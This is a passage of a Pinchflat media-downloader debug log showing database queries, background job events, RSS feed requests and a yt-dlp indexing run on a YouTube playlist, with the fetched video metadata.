s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:24:11.061 [debug] QUERY OK source="media_metadata" db=0.6ms idle=582.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:24:11.062 [info] Sent 200 in 7ms 18:24:29.261 [info] {"source":"oban","duration":2011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:59.263 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.651 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:29.265 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:59.267 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.654 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:29.269 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:59.271 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.655 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:14.750 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:27:14.750 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:27:14.753 [debug] QUERY OK source="sources" db=1.5ms queue=0.2ms idle=748.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:27:14.755 [debug] QUERY OK source="media_items" db=1.3ms queue=0.4ms idle=275.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:27:14.757 [debug] QUERY OK source="source_metadata" db=0.9ms idle=277.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:27:14.758 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.3ms idle=279.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:27:14.759 [info] Sent 200 in 9ms 18:27:29.297 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:59.300 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.657 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:29.302 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:59.304 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.658 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:29.306 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:33.626 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:29:33.627 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:29:33.628 [debug] QUERY OK source="sources" db=0.7ms idle=1148.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:29:33.629 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1150.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:29:33.631 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1152.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:29:33.632 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=313.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:29:33.633 [info] Sent 200 in 6ms 18:29:59.310 [info] {"source":"oban","duration":2048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.659 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:29.312 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:59.315 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.661 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:29.317 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:39.239 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:31:39.239 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:31:39.241 [debug] QUERY OK source="sources" db=0.7ms idle=758.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:31:39.242 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=760.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:31:39.244 [debug] QUERY OK source="source_metadata" db=0.3ms idle=762.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:31:39.244 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=762.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:31:39.245 [info] Sent 200 in 6ms 18:31:59.319 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.662 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:29.321 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:59.323 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.664 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:29.325 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:59.327 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.666 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:23.540 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:34:23.540 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:34:23.542 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1016.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:34:23.566 [debug] QUERY OK source="media_items" db=23.3ms queue=0.1ms idle=523.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:34:23.569 [debug] QUERY OK source="source_metadata" db=0.7ms queue=0.1ms idle=27.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:34:23.571 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=28.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:34:23.572 [info] Sent 200 in 31ms 18:34:29.330 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:59.333 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.668 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:29.335 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:59.337 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.671 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:29.340 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:43.747 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:36:43.747 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:36:43.749 [debug] QUERY OK source="sources" db=1.4ms idle=1205.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:36:43.751 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1207.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:36:43.753 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1210.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:36:43.754 [debug] QUERY OK source="media_metadata" db=0.7ms idle=1210.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:36:43.755 [info] Sent 200 in 7ms 18:36:59.343 [info] {"source":"oban","duration":2143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.673 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:29.345 [info] {"source":"oban","duration":1789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:59.348 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.674 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:29.351 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:55.902 [info] {"args":{"id":1},"id":91,"meta":{},"system_time":1768070335901028593,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:38:55.904 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1071.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:38:55.906 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=331.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:38:55.946 [debug] QUERY OK source="media_items" db=38.7ms queue=0.1ms idle=334.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:38:56.003 [debug] QUERY OK source="media_items" db=1.1ms queue=0.3ms idle=135.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:38:56.005 [debug] QUERY OK source="media_profiles" db=1.8ms queue=0.1ms idle=103.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:38:56.008 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=103.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:38:56.046 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:38:56.048 [debug] QUERY OK source="settings" db=1.4ms idle=140.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:38:56.049 [debug] QUERY OK source="settings" db=0.6ms idle=102.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:38:56.050 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=46.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:38:56.052 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ff/a4/ffa441e7e48d9cdda459d356d95f4554410473818e02f918ec88258190a92228.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:38:56.082 [debug] Current batch of media processed. Will check again in 1000ms 18:38:57.083 [debug] Current batch of media processed. Will check again in 1000ms 18:38:57.944 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 18:38:58.084 [debug] Current batch of media processed. Will check again in 1000ms 18:38:59.085 [debug] Current batch of media processed. Will check again in 1000ms 18:38:59.353 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.086 [debug] Current batch of media processed. Will check again in 1000ms 18:39:00.675 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:01.087 [debug] Current batch of media processed. Will check again in 1000ms 18:39:02.088 [debug] Current batch of media processed. Will check again in 1000ms 18:39:03.089 [debug] Current batch of media processed. Will check again in 1000ms 18:39:04.090 [debug] Current batch of media processed. Will check again in 1000ms 18:39:05.092 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 18:39:05.096 [debug] QUERY OK source="sources" db=2.6ms queue=0.2ms idle=1518.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:39:05.098 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=1180.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:39:05.219 [debug] QUERY OK source="media_items" db=119.9ms idle=525.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 18:39:05.407 [debug] QUERY OK source="media_items" db=184.8ms queue=0.2ms idle=647.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us 